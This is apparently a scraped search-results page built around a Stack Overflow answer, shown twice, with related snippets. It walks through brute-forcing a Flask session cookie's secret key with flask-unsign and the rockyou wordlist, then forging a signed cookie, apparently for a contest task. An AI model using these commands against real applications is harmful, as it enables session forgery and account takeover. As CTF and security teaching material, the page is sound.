As Elias has already mentioned, the cookie can be decoded without the secret key, but it cannot be manipulated without it for obvious security reasons. If cookie tampering was as easy as that, nobody would use Flask sessions. Therefore, your task is to find the secret key, and since the SHA-1 hash function is non-reversible, you should turn your attention to the human factor.

That being said, you'll have to "guess" the secret key of the contest's careless programmer using brute force, and fortunately, Flask-Unsign can assist you with that.

You can install it via pip by using the following command:

pip3 install flask-unsign

but before using it, you will need a wordlist like rockyou, which you can download from the Kali Linux GitLab repository by using a command like the one below:

curl -JO https://gitlab.com/kalilinux/packages/wordlists/-/raw/kali/master/rockyou.txt.gz && gunzip rockyou.txt.gz
  • -J, --remote-header-name: Uses the server-specified Content-Disposition filename instead of extracting a filename from the URL when saving the file locally.
  • -O, --remote-name: Writes the output to a local file named like the remote file obtained, using the server-specified filename.

Now you can perform the brute force attack using the following command:

flask-unsign --unsign --cookie '.eJwtjkGKAzEMBL-S9TkHy5Yte96wP1jCIEvyJmxIYDxzCvn7-pBTUw1N18ut_c7jasMtPy932me4cYjYGO7svp-_t8fpw_24f7nL-3Kem83G1S37dtikm7rFQUJBRSOL1GKWVCoRC3ED7VAz9FKsVi9aO2RgJmgSi88VuQCmXghjaRZjSCqBDTm3qE1LAh8bGnuG3jAHCV4iZlAoPkhiAGghT9v1GLZ9bCbK2Pq6P__sMQuev2ZcKQFkMinJWhRSqB4hYyWv2oWre_8D5vtQyA.ZTUbZQ.erv_yZmYg44tiaJ0u8fqKailHUc' --no-literal-eval -w rockyou.txt   
  • The --no-literal-eval argument was used because Flask-Unsign assumes by default that each word in a given wordlist is enclosed in quotes. However, this is not the case with the rockyou wordlist.

and find the secret key after a few thousand attempts:

[*] Session decodes to: {'_flashes': [('success', 'Login successful!')], '_fresh': True, '_id': '154c4d4e7e37b36c58977ac7ab1df1961f88e990cd9f161aa71bc380694a8145f87438be3325dc2ae4a6b3dbd85103b4ea0a1fb462c20c3461d1802c5a111b26', '_user_id': '1', 'csrf_token': 'acd9eea9751167ec85eb3c7d1904164970ddfca9'}                       
[*] Starting brute-forcer with 8 threads..                                                                                                     
[+] Found secret key after 175360 attempts                                                                                                     
b'Galaxy'

Finally, having found the secret key, you can use it to sign your own cookie with modified session data according to your needs:

flask-unsign --sign --cookie "modified session data here" --secret 'Galaxy'
Answer from Andreas Violaris on Stack Overflow
🌐
PyPI
pypi.org › project › flask-cookie-decode
flask-cookie-decode · PyPI
flask cookie decode: decodes and verifies the signature of the session cookie · By default the Flask session uses a signed cookie to store its data. The Flask application signs the cookie using its SECRET_KEY. This provides the Flask application a way to detect any tampering to the session data.
      » pip install flask-cookie-decode
    
Published   Mar 09, 2025
Version   0.4.3
🌐
Degoogle
kirsle.net › wizards › flask-session.cgi
Flask Session Cookie Decoder
Decode a Flask Session Cookie You can paste in your Flask session cookie here to decode it. Don't know how to get your cookie? See getting your cookie for tips. ... Find the session cookie (it's usually named "session", but not always), and copy/paste its "Content" value into the form above. ... Browse for the session cookie (it's usually named "session", but not always), and copy/paste its "Content" value into the form above. """Flask session cookie decoder.""" #import cgitb #cgitb.enable() import os import codecs import cgi import jinja2 from base64 import b64decode from itsdangerous import
🌐
GitHub
github.com › paradoxis › flask-unsign
GitHub - Paradoxis/Flask-Unsign: Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys. · GitHub
$ flask-unsign --decode --server 'https://www.example.com/login' [*] Server returned HTTP 302 (FOUND) [+] Successfully obtained session cookie: eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8 {'logged_in': False} After obtaining ...
Starred by 658 users
Forked by 49 users
Languages   Python
🌐
Noraj
noraj.github.io › flask-session-cookie-manager
Flask Session Cookie Decoder/Encoder | flask-session-cookie-manager
usage: flask_session_cookie_manager{2,3}.py decode [-h] [-s <string>] -c <string> optional arguments: -h, --help show this help message and exit -s <string>, --secret-key <string> Secret key -c <string>, --cookie-value <string> Session cookie value
🌐
Readthedocs
flask-cookie-decode.readthedocs.io › en › latest › readme.html
1 flask-cookie-decode — flask-cookie-decode 0.4.3 documentation
flask cookie decode: decodes and verifies the signature of the session cookie · By default the Flask session uses a signed cookie to store its data. The Flask application signs the cookie using its SECRET_KEY. This provides the Flask application a way to detect any tampering to the session data.
🌐
GitHub
gist.github.com › babldev › 502364a3f7c9bafaa6db
Decode a Flask Session cookie, given the cookie and secret key · GitHub
Decode a Flask Session cookie, given the cookie and secret key - decode_flask_cookie.py
Find elsewhere
Top answer
1 of 2
11

As Elias has already mentioned, the cookie can be decoded without the secret key, but it cannot be manipulated without it for obvious security reasons. If cookie tampering was as easy as that, nobody would use Flask sessions. Therefore, your task is to find the secret key, and since the SHA-1 hash function is non-reversible, you should turn your attention to the human factor.

That being said, you'll have to "guess" the secret key of the contest's careless programmer using brute force, and fortunately, Flask-Unsign can assist you with that.

You can install it via pip by using the following command:

pip3 install flask-unsign

but before using it, you will need a wordlist like rockyou, which you can download from the Kali Linux GitLab repository by using a command like the one below:

curl -JO https://gitlab.com/kalilinux/packages/wordlists/-/raw/kali/master/rockyou.txt.gz && gunzip rockyou.txt.gz
  • -J, --remote-header-name: Uses the server-specified Content-Disposition filename instead of extracting a filename from the URL when saving the file locally.
  • -O, --remote-name: Writes the output to a local file named like the remote file obtained, using the server-specified filename.

Now you can perform the brute force attack using the following command:

flask-unsign --unsign --cookie '.eJwtjkGKAzEMBL-S9TkHy5Yte96wP1jCIEvyJmxIYDxzCvn7-pBTUw1N18ut_c7jasMtPy932me4cYjYGO7svp-_t8fpw_24f7nL-3Kem83G1S37dtikm7rFQUJBRSOL1GKWVCoRC3ED7VAz9FKsVi9aO2RgJmgSi88VuQCmXghjaRZjSCqBDTm3qE1LAh8bGnuG3jAHCV4iZlAoPkhiAGghT9v1GLZ9bCbK2Pq6P__sMQuev2ZcKQFkMinJWhRSqB4hYyWv2oWre_8D5vtQyA.ZTUbZQ.erv_yZmYg44tiaJ0u8fqKailHUc' --no-literal-eval -w rockyou.txt   
  • The --no-literal-eval argument was used because Flask-Unsign assumes by default that each word in a given wordlist is enclosed in quotes. However, this is not the case with the rockyou wordlist.

and find the secret key after a few thousand attempts:

[*] Session decodes to: {'_flashes': [('success', 'Login successful!')], '_fresh': True, '_id': '154c4d4e7e37b36c58977ac7ab1df1961f88e990cd9f161aa71bc380694a8145f87438be3325dc2ae4a6b3dbd85103b4ea0a1fb462c20c3461d1802c5a111b26', '_user_id': '1', 'csrf_token': 'acd9eea9751167ec85eb3c7d1904164970ddfca9'}                       
[*] Starting brute-forcer with 8 threads..                                                                                                     
[+] Found secret key after 175360 attempts                                                                                                     
b'Galaxy'

Finally, having found the secret key, you can use it to sign your own cookie with modified session data according to your needs:

flask-unsign --sign --cookie "modified session data here" --secret 'Galaxy'
2 of 2
1

What you described is the expected behavior by design - the cookie can be decoded without the secret key, but it cannot be modified without it.

from documentation:

If you have set Flask.secret_key (or configured it from SECRET_KEY) you can use sessions in Flask applications. A session makes it possible to remember information from one request to another. The way Flask does this is by using a signed cookie. The user can look at the session contents, but can’t modify it unless they know the secret key, so make sure to set that to something complex and unguessable.

🌐
LinkedIn
linkedin.com › pulse › pentesting-ethical-hacking-tool-series-flask-session-cookie-vanegas
Pentesting and Ethical Hacking Tool Series: Flask Session Cookie Decoder/Encoder/BruteForce
June 1, 2023 - We can try to decode that cookie ... {"very_auth":"admin"}. This is where the two tools come into play: flask-unsign, which allows us to retrieve the secret key, and flask_session_cookie_manager3, which encodes the Flask session ...
🌐
GitHub
github.com › noraj › flask-session-cookie-manager
GitHub - noraj/flask-session-cookie-manager: :cookie: Flask Session Cookie Decoder/Encoder · GitHub
usage: flask_session_cookie_manager{2,3}.py decode [-h] [-s <string>] -c <string> optional arguments: -h, --help show this help message and exit -s <string>, --secret-key <string> Secret key -c <string>, --cookie-value <string> Session cookie value
Starred by 774 users
Forked by 93 users
Languages   Python 88.9% | Shell 11.1%
🌐
Medium
medium.com › @ahmednarmer1 › ctf-day-43-1a92e694ba8a
CTF Day(43). picoCTF Web Exploitation: Most Cookies | by Ahmed Sa3edo | Medium
July 24, 2025 - flask-unsign --unsign --cookie 'eyJ2ZXJ5X2F1dGgiOiJzbmlja2VyZG9vZGxlIn0.aII11A.KI5Gp_O89SWXNZUOXtpQKdLQxdM' -w Wordlist.txt ... Now that we’ve discovered the secret key is peanut butter, we can forge our own session cookie with the value {"very_auth":"admin"} — this should grant us access to the flag.
🌐
Pentesttools
pentesttools.net › flask-session-cookie-manager-flask-session-cookie-decoder-encoder
Flask-Session-Cookie-Manager – Flask Session Cookie Decoder/Encoder – PentestTools
August 12, 2020 - usage: flask_session_cookie_manager.py decode [-h] [-s <string>] -c <string> optional arguments: -h, --help show this help message and exit -s <string>, --secret-key <string> Secret key -c <string>, --cookie-value <string> Session cookie value
🌐
DigiNinja
digi.ninja › blog › cracked_flask.php
Cracked Flask Lab - DigiNinja
December 9, 2021 - flask-unsign --decode --server https://crackedflask.digi.ninja/user ... Cracked it and got the secret key "monkey" so now create a new cookie with the username admin rather than robin: flask-unsign --sign --secret monkey --cookie "{'hello': ...
🌐
picoCTF Solutions
picoctfsolutions.com › tools › flask-session-decoder
Flask Session Cookie Decoder | picoCTF Solutions
Paste a Flask session cookie value and the tool splits it into payload / timestamp / signature, decompresses the zlib payload if Flask compressed it, parses the JSON, and - if you supply the secret key - verifies the HMAC.
🌐
HackTricks
book.hacktricks.xyz › home › network services pentesting › pentesting web › flask
Flask - HackTricks
1 week ago - Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys.
🌐
saruberoz' site
saruberoz.github.io › flask-session-cookie-decoder-slash-encoder
Flask session cookie manager – saruberoz' site
""" Flask Session Cookie Decoder/Encoder """ __author__ = 'Wilson Sumanang' # standard imports import sys import zlib from itsdangerous import base64_decode # external Imports from flask.sessions import SecureCookieSessionInterface class MockApp(object): def __init__(self, secret_key): self.secret_key = secret_key def session_cookie_encoder(secret_key, session_cookie_structure): """ Encode a Flask session cookie Example: cookie_structure = dict( gplus_id = 1285135705050360459231, email = john.doe@gmail.com, user_info = dict( full_name = john doe, ) ) session_cookie_encoder(b'development key',
🌐
Medium
blog.paradoxis.nl › defeating-flasks-session-management-65706ba9d3ce
Baking Flask cookies with your secrets | Paradoxis
July 31, 2021 - Flask by default uses something called ‘signed cookies’, which is simply a way of storing the current session data on the client (rather than the server) in such a way that it cannot (in theory) be tampered with. One of the drawbacks of this approach, however, is that the cookies are not encrypted, they’re signed. This means that the content of the session can be read without the secret key...
🌐
BorderGate
bordergate.co.uk › home › web application › flask session cookies
Flask Session Cookies < BorderGate
May 18, 2023 - Flask-unsign can be used to brute force the signing key. ./flask-unsign --unsign --cookie "eyJ1c2VybmFtZSI6InVzZXIifQ.ZCcxgw.ErdND_UcFZgAm_dt_uBIkUWCRX0" --wordlist wordlist.txt [*] Session decodes to: {'username': 'user'} [*] Starting brute-forcer with 8 threads.. [+] Found secret key after 0 attempts 'CHANGEME'
🌐
Readthedocs
flask-cookie-decode.readthedocs.io › en › latest › _modules › flask_cookie_decode › cookie_decode.html
flask_cookie_decode.cookie_decode — flask-cookie-decode 0.4.3 documentation
[docs] def init_app(self, app): """Initalizes the application with the extension.""" self._session_interface = SecureCookieSessionInterface() self._signing_serializer = self._session_interface.get_signing_serializer(app) self._timestamp_signer = TimestampSigner( app.secret_key, key_derivation="hmac", salt="cookie-session" ) if isinstance(app.permanent_session_lifetime, timedelta): self._max_age = app.permanent_session_lifetime.total_seconds() else: self.max_age = app.permanent_session_lifetime cookie_cli = AppGroup( "cookie", help="Tools to inspect the Flask session cookie." ) app.cli.add_command(cookie_cli) @cookie_cli.command("decode") @click.argument("cookie") def decode(cookie): """Decode a flask session cookie""" decoded_cookie = self.decode_cookie(cookie) click.echo(decoded_cookie) app.extensions["flask_cookie_decode"] = self ·
🌐
GitHub
github.com › wgwz › flask-cookie-decode
GitHub - wgwz/flask-cookie-decode: Flask extension with tools for decoding the session cookie · GitHub
flask cookie decode: decodes and verifies the signature of the session cookie · By default the Flask session uses a signed cookie to store its data. The Flask application signs the cookie using its SECRET_KEY. This provides the Flask application a way to detect any tampering to the session data.
Author   wgwz